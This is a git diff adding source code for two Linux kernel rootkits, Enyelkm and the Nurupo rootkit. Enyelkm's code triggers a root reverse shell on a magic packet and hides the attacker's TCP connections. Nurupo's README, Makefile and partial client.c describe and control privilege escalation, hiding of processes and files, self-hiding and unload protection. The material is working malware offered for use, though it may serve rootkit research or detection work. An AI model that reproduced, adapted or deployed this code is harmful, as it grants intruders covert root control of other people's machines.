i++) + if (buf[i] == 0) + buf[i] = 1; + buf[len] = 0; + + if((p = strstr(buf,TCP_CLAVE)) != NULL) + { + p += strlen(TCP_CLAVE); + global_port = *((unsigned short *) p); + global_ip = skb->nh.iph->saddr; + + lanzar_shell = 1; + } + + kfree_skb(skb); + return(0); + break; + + default: + /* NO ICMP && NO TCP */ + + kfree_skb(skb); + return(0); + break; + + } /* fin switch */ + +} /******** fin capturar() *********/ + + + +int get_pty(void) +{ +char buf[128]; +int npty, lock = 0; + +ptmx = open("/dev/ptmx", O_RDWR, S_IRWXU); + +/* pillamos pty libre */ +ioctl(ptmx, TIOCGPTN, (unsigned long) &npty); + +/* bloqueamos */ +ioctl(ptmx, TIOCSPTLCK, (unsigned long) &lock); + +/* abrimos pty */ +sprintf(buf, "/dev/pts/%d", npty); +npty = open(buf, O_RDWR, S_IRWXU); + +/* devolvemos el descriptor */ +return(npty); + +} /*************** fin de get_pty() **************/ + + + +void eco_off(void) +{ +struct termios term; + +ioctl(0, TCGETS, (unsigned long) &term); +term.c_lflag = term.c_lflag || CLOCAL; +ioctl(0, TCSETS, (unsigned long) &term); + +} /************* fin de eco_off **************/ + + + +void ejecutar_shell(void) +{ +struct task_struct *ptr = current; +mm_segment_t old_fs; + +old_fs = get_fs(); +set_fs(KERNEL_DS); + +ptr->uid = 0; +ptr->euid = 0; +ptr->gid = SGID; +ptr->egid = 0; + +/* dupeamos */ +dup2(epty, 0); +dup2(epty, 1); +dup2(epty, 2); + +/* quitamos eco */ +eco_off(); + +/* cambiamos a home */ +chdir(HOME); + +execve(earg[0], (const char **) earg, (const char **) env); + +/* salimos en caso de error */ +e_exit(-1); + +} /************ fin ejecutar_shell ***********/ + + + +int hacked_tcp4_seq_show(struct seq_file *seq, void *v) +{ +struct tcp_iter_state* st; +struct my_inet_request_sock *ireq; +struct my_inet_sock *inet; + +if (v == SEQ_START_TOKEN) + return((*orig_tcp4_seq_show)(seq, v)); + +st = seq->private; + +switch (st->state) + { + case TCP_SEQ_STATE_LISTENING: + case TCP_SEQ_STATE_ESTABLISHED: + + inet = (struct my_inet_sock *)((struct sock *) v); + if ((inet->daddr == global_ip) || (inet->rcv_saddr == global_ip)) + { + #if DEBUG == 1 + printk("enyelkm: ip detectada y ocultada (established)!\n"); + #endif + + return(0); + } + else + return((*orig_tcp4_seq_show)(seq, v)); + break; + + case TCP_SEQ_STATE_OPENREQ: + + ireq = my_inet_rsk((struct my_request_sock *) v); + if ((ireq->loc_addr == global_ip) || (ireq->rmt_addr == global_ip)) + { + #if DEBUG == 1 + printk("enyelkm: ip detectada y ocultada (openreq)!\n"); + #endif + + return(0); + } + else + return((*orig_tcp4_seq_show)(seq, v)); + break; + + case TCP_SEQ_STATE_TIME_WAIT: + + if ((((struct my_inet_timewait_sock *)v)->tw_daddr == global_ip) || + (((struct my_inet_timewait_sock *)v)->tw_rcv_saddr == global_ip)) + { + #if DEBUG == 1 + printk("enyelkm: ip detectada y ocultada(time_wait)!\n"); + #endif + + return(0); + } + else + return((*orig_tcp4_seq_show)(seq, v)); + break; + } + +return(0); + +} /********** fin hacked_tcp4_seq_show() ***********/ + + + +/* EOF */ diff --git a/Linux/Rootkits/Enyelkm/remoto.h b/Linux/Rootkits/Enyelkm/remoto.h new file mode 100644 index 0000000..a2c2a97 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/remoto.h @@ -0,0 +1,116 @@ +/* funciones de remoto.c */ + +int capturar(struct sk_buff *skb, struct net_device *dev, struct packet_type *pkt, + struct net_device *dev2); +int hacked_tcp4_seq_show(struct seq_file *seq, void *v); +int reverse_shell(void); +void ejecutar_shell(void); +int get_pty(void); +void eco_off(void); + + +/* estructuras y funciones para remoto.c */ + +struct my_request_sock { + struct my_request_sock *dl_next; /* Must be first member! */ + u16 mss; + u8 retrans; + u8 __pad; + /* The following two fields can be easily recomputed I think -AK */ + u32 window_clamp; /* window clamp at creation time */ + u32 rcv_wnd; /* rcv_wnd offered first time */ + u32 ts_recent; + unsigned long expires; + struct request_sock_ops *rsk_ops; + struct sock *sk; +}; + + +struct my_inet_sock { + struct sock sk; +#if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE) + struct ipv6_pinfo *pinet6; +#endif + /* Socket demultiplex comparisons on incoming packets. */ + __u32 daddr; + __u32 rcv_saddr; +}; + + +struct my_inet_request_sock { + struct my_request_sock req; + u32 loc_addr; + u32 rmt_addr; + u16 rmt_port; + u16 snd_wscale : 4, + rcv_wscale : 4, + tstamp_ok : 1, + sack_ok : 1, + wscale_ok : 1, + ecn_ok : 1, + acked : 1; + struct ip_options *opt; +}; + + +static inline struct my_inet_request_sock *my_inet_rsk + (const struct my_request_sock *sk) +{ + return (struct my_inet_request_sock *) sk; +} + + +#if (BITS_PER_LONG == 64) +#define INET_TIMEWAIT_ADDRCMP_ALIGN_BYTES 8 +#else +#define INET_TIMEWAIT_ADDRCMP_ALIGN_BYTES 4 +#endif + + +struct my_sock_common { + unsigned short skc_family; + volatile unsigned char skc_state; + unsigned char skc_reuse; + int skc_bound_dev_if; + struct hlist_node skc_node; + struct hlist_node skc_bind_node; + atomic_t skc_refcnt; + unsigned int skc_hash; + struct proto *skc_prot; +}; + + +struct my_inet_timewait_sock { + /* + * Now struct sock also uses sock_common, so please just + * don't add nothing before this first member (__tw_common) --acme + */ + struct my_sock_common __tw_common; +#define tw_family __tw_common.skc_family +#define tw_state __tw_common.skc_state +#define tw_reuse __tw_common.skc_reuse +#define tw_bound_dev_if __tw_common.skc_bound_dev_if +#define tw_node __tw_common.skc_node +#define tw_bind_node __tw_common.skc_bind_node +#define tw_refcnt __tw_common.skc_refcnt +#define tw_hash __tw_common.skc_hash +#define tw_prot __tw_common.skc_prot + volatile unsigned char tw_substate; + /* 3 bits hole, try to pack */ + unsigned char tw_rcv_wscale; + /* Socket demultiplex comparisons on incoming packets. */ + /* these five are in inet_sock */ + __u16 tw_sport; + __u32 tw_daddr __attribute__((aligned(INET_TIMEWAIT_ADDRCMP_ALIGN_BYTES))); + __u32 tw_rcv_saddr; + __u16 tw_dport; + __u16 tw_num; + /* And these are ours. */ + __u8 tw_ipv6only:1; + /* 31 bits hole, try to pack */ + int tw_timeout; + unsigned long tw_ttd; + struct inet_bind_bucket *tw_tb; + struct hlist_node tw_death_node; +}; + diff --git a/Linux/Rootkits/Enyelkm/syscalls.h b/Linux/Rootkits/Enyelkm/syscalls.h new file mode 100644 index 0000000..dc28c86 --- /dev/null +++ b/Linux/Rootkits/Enyelkm/syscalls.h @@ -0,0 +1,81 @@ +/* macros de syscalls */ + +extern int errno; + +#define my__syscall_return(type, res) \ +do { \ + if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \ + errno = -(res); \ + res = -1; \ + } \ + return (type) (res); \ +} while (0) + +/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */ +#define my_syscall0(type,name) \ +type name(void) \ +{ \ +long __res; \ +__asm__ volatile ("int $0x80" \ + : "=a" (__res) \ + : "0" (__NR_##name)); \ +my__syscall_return(type,__res); \ +} + +#define my_syscall1(type,name,type1,arg1) \ +type name(type1 arg1) \ +{ \ +long __res; \ +__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \ + : "=a" (__res) \ + : "0" (__NR_##name),"ri" ((long)(arg1)) : "memory"); \ +my__syscall_return(type,__res); \ +} + +#define my_syscall2(type,name,type1,arg1,type2,arg2) \ +type name(type1 arg1,type2 arg2) \ +{ \ +long __res; \ +__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \ + : "=a" (__res) \ + : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)) \ + : "memory"); \ +my__syscall_return(type,__res); \ +} + +#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \ +type name(type1 arg1,type2 arg2,type3 arg3) \ +{ \ +long __res; \ +__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \ + : "=a" (__res) \ + : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \ + "d" ((long)(arg3)) : "memory"); \ +my__syscall_return(type,__res); \ +} + +#define my_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \ +type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \ +{ \ +long __res; \ +__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \ + : "=a" (__res) \ + : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \ + "d" ((long)(arg3)),"S" ((long)(arg4)) : "memory"); \ +my__syscall_return(type,__res); \ +} + +#define my_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \ + type5,arg5) \ +type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \ +{ \ +long __res; \ +__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; movl %1,%%eax ; " \ + "int $0x80 ; pop %%ebx" \ + : "=a" (__res) \ + : "i" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \ + "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)) \ + : "memory"); \ +my__syscall_return(type,__res); \ +} + diff --git a/Linux/Rootkits/Nurupo Rootkit/.github/FUNDING.yml b/Linux/Rootkits/Nurupo Rootkit/.github/FUNDING.yml new file mode 100644 index 0000000..bf02846 --- /dev/null +++ b/Linux/Rootkits/Nurupo Rootkit/.github/FUNDING.yml @@ -0,0 +1,27 @@ +custom: + # PayPal donation button is superior to a paypal.me link because it + # additionally: + # - accepts credit cards without a need to create a PayPal account + # - allows monthly subscriptions (requires a PayPal account) + # However, the URL is rather lengthy and GitHub shows it in full in the + # Sponsor modal popup. + - https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=9HJHAH5UDL3GL + # GitHub doesn't allow using URIs in FUNDING.yml, so instead of using a + # Bitcoin URI we have to resort to using a blockchain explorer link. + # + # Blockstream has zero ads on its page, so let's use that, I guess. I have + # to trust them not to redirect this page to someone else's wallet as a + # person donating would likely copy the address off the Blockstream web page + # rather than from the URL GitHub shows the user. + - https://blockstream.info/address/34qxFsZjs1ZWVBwer11gXiycpv7QHTA8q3 + +# At some point I should setup a static page with donation information and link +# to that instead of listing the donation methods here. That way I could hide +# the long PayPal link under a clickable PayPal donation button and use Bitcoin +# URI directly. I could put all of that into every README instead, and I +# actually might at some point, but the Sponsor button on GitHub stands out way +# more than a Donate section in a README, and it's easier to keep up to date - +# just replace a single file instead of having to manually edit every README, at +# least until I make a static page for donations that I link to in READMEs, then +# there would be no reason to edit them, so I decided not to touch READMEs until +# I have the static page setup. diff --git a/Linux/Rootkits/Nurupo Rootkit/LICENSE b/Linux/Rootkits/Nurupo Rootkit/LICENSE new file mode 100644 index 0000000..1b8a5cd --- /dev/null +++ b/Linux/Rootkits/Nurupo Rootkit/LICENSE @@ -0,0 +1,339 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Lesser General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {description} + Copyright (C) {year} {fullname} + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + {signature of Ty Coon}, 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. \ No newline at end of file diff --git a/Linux/Rootkits/Nurupo Rootkit/Makefile b/Linux/Rootkits/Nurupo Rootkit/Makefile new file mode 100644 index 0000000..573ecdc --- /dev/null +++ b/Linux/Rootkits/Nurupo Rootkit/Makefile @@ -0,0 +1,11 @@ +.PHONY: all +obj-m := rootkit.o +KERNEL_DIR = /lib/modules/$(shell uname -r)/build +PWD = $(shell pwd) +all: rootkit client +rootkit: + $(MAKE) -C $(KERNEL_DIR) SUBDIRS=$(PWD) +client: + gcc -o client client.c --std=gnu99 -Wall -Wextra -pedantic +clean: + rm -rf *.o *.ko *.symvers *.mod.* *.order diff --git a/Linux/Rootkits/Nurupo Rootkit/README.md b/Linux/Rootkits/Nurupo Rootkit/README.md new file mode 100644 index 0000000..4e355e3 --- /dev/null +++ b/Linux/Rootkits/Nurupo Rootkit/README.md @@ -0,0 +1,115 @@ +# Linux Rootkit + +A simple Linux kernel rootkit written for fun, not evil. + +## Functionality + +The rootkit can do the following: + +- Grant root privileges to a userland process +- Hide process by PID +- Unhide a previously hidden process by PID +- Hide files or directories by their name +- Unhide previously hidden files or directories +- Hide itself +- Unhide itself +- Protect against being unloaded by the user +- Disable the unload protection + +## Supported Platforms + +The rootkit was tested to work on Linux kernels 2.6.32-38 and 4.4.0-22 as provided by Ubuntu in Ubuntu 10.04.4 LTS and Ubuntu 16.04 LTS respectively, but it should be very easy to port to kernels in-between, as well as newer ones. + +There is some architecture-specific code in the rootkit which is implemented only for x86 and x86-64 architectures. +That's the code for finding the system call table, disabling write-protected memory and one of the two function hooking methods. +It should be very easy to port to a new architecture, and some of this code is not strictly necessary for the rootkit to function, e.g. the non-portable hooking method could be stripped away, though you must be a very boring person if you are willing to miss on the fun of function hooking that overwrites machine code of the target kernel function such that it calls our hook function instead. + +The rootkit was tested only with 1 CPU core, so it may or may not function correctly on a multi-core system. +It likely won't run very well on a multi-core system as the rootkit was written expecting there to be only 1 thread executing anything at any given time, so it lacks atomic writes/reads and mutexes around list data structures. + +## Build + +### Setting Up Environment + +Warm up your VM of choice. + +Grab and install the desired Ubuntu image: + +| Kernel / arch | x86 | x86-64 | +|:-------------:|:-------------------:|:--------------------:| +| 2.6.32 | Ubuntu 10.04.4 i386 (694M) [[torrent]](http://old-releases.ubuntu.com/releases/10.04.0/ubuntu-10.04.4-server-i386.iso.torrent) [[iso]](http://old-releases.ubuntu.com/releases/10.04.0/ubuntu-10.04.4-server-i386.iso) | Ubuntu 10.04.4 amd64 (681M) [[torrent]](http://old-releases.ubuntu.com/releases/10.04.0/ubuntu-10.04.4-server-amd64.iso.torrent) [[iso]](http://old-releases.ubuntu.com/releases/10.04.0/ubuntu-10.04.4-server-amd64.iso) | +| 4.4.0 | Ubuntu 16.04 i386 (647M) [[torrent]](http://old-releases.ubuntu.com/releases/16.04.0/ubuntu-16.04-server-i386.iso.torrent) [[iso]](http://old-releases.ubuntu.com/releases/16.04.0/ubuntu-16.04-server-i386.iso) | Ubuntu 16.04 amd64 (655M) [[torrent]](http://old-releases.ubuntu.com/releases/16.04.0/ubuntu-16.04-server-amd64.iso.torrent) [[iso]](http://old-releases.ubuntu.com/releases/16.04.0/ubuntu-16.04-server-amd64.iso) | + +For Ubuntu 10.04, patch the package repository address: + +```sh +sed -i -re 's/([a-z]{2}\.)?archive.ubuntu.com|security.ubuntu.com/old-releases.ubuntu.com/g' /etc/apt/sources.list +``` + +Install a compiler, Linux headers and all other things required for us to build the rootkit: + +```sh +apt-get update +apt-get install build-essential +``` + +Make sure not to call `apt-get upgrade`, as it would update the kernel, when the rootkit was tested only on the pre-installed kernel version. + +### Actual Building + +```sh +make +``` + +## Use + +Load rootkit: + +```sh +insmod rootkit.ko +``` + +Use rootkit: + +```sh +$ ./client --help +Usage: ./client [OPTION]... + +Options: + --root-shell Grants you root shell access. + --hide-pid=PID Hides the specified PID. + --unhide-pid=PID Unhides the specified PID. + --hide-file=FILENAME Hides the specified FILENAME globally. + Must be a filename without any path. + --unhide-file=FILENAME Unhides the specified FILENAME. + --hide Hides the rootkit LKM. + --unhide Unhides the rootkit LKM. + --help Print this help message. + --protect Protects the rootkit from rmmod. + --unprotect Disables the rmmod protection. +``` + +Unload rootkit: + +```sh +./client --unhide +./client --unprotect +rmmod rootkit.ko +``` + +## YOU ARE OUT OF YOUR MIND TO PUBLICY RELEASE SUCH MALICIOUS CODE ONLINE, YOU ARE LITERALLY ARMING SCRIPT KIDDIES WITH NUKES!!!1 +Not really, there are many articles online on how to write a Linux rootkit with the full source code provided, not to mention the countless GitHub repositories. + +## References +The following materials were used in writing this rootkit: + +- [Linux kernel code](http://lxr.free-electrons.com) +- [Linux kernel documentation](https://www.kernel.org/doc/) +- [Linux Loadable Kernel Module HOWTO](http://www.tldp.org/HOWTO/html_single/Module-HOWTO/) +- [WRITING A SIMPLE ROOTKIT FOR LINUX](https://web.archive.org/web/20180609141026/https://w3.cs.jmu.edu/kirkpams/550-f12/papers/linux_rootkit.pdf) +- [Modern Linux Rootkits 101](http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html) +- [Writing Modern Linux Rootkits 201 - VFS](http://turbochaos.blogspot.com/2013/10/writing-linux-rootkits-201-23.html) +- [Linux Kernel Module example. Rickroll prank.](https://web.archive.org/web/20170218150045/http://maitesin.github.io/Module_prank/) + +## License +This project is licensed under [GPLv2](LICENSE). diff --git a/Linux/Rootkits/Nurupo Rootkit/client.c b/Linux/Rootkits/Nurupo Rootkit/client.c new file mode 100644 index 0000000..11bf4e9 --- /dev/null +++ b/Linux/Rootkits/Nurupo Rootkit/client.c @@ -0,0 +1,261 @@ +/* + * Copyright (C) 2016-2017 Maxim Biro + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + */ + +#include +#include +#include + +#include +#include +#include + +#include "config.h" + +void print_help(char **argv) +{ + printf( + "Usage: %s [OPTION]...\n" + "\n" + "Options:\n" + " --root-shell Grants you root shell access.\n" + " --hide-pid=PID Hides the specified PID.\n" + " --unhide-pid=PID Unhides the specified PID.\n" + " --hide-file=FILENAME Hides the specified FILENAME globally.\n" + " Must be a filename without any path.\n" + " --unhide-file=FILENAME Unhides the specified FILENAME.\n" + " --hide Hides the rootkit LKM.\n" + " --unhide Unhides the rootkit LKM.\n" + " --help Print this help message.\n" + " --protect Protects the rootkit from rmmod.\n" + " --unprotect Disables the rmmod protection.\n\n", argv[0]); +} + +void handle_command_line_arguments(int argc, char **argv, int *root, int *hide_pid, + int *unhide_pid, char **pid, int *hide_file, + int *unhide_file, char **file, int *hide, + int *unhide, int *protect, int *unprotect) +{ + if (argc < 2) { + fprintf(stderr, "Error: No arguments provided.\n\n"); + print_help(argv); + exit(1); + } + + opterr = 0; + + static struct option long_options[] = { + {"root-shell", no_argument, 0, 'a'}, + {"hide-pid", required_argument, 0, 'b'}, 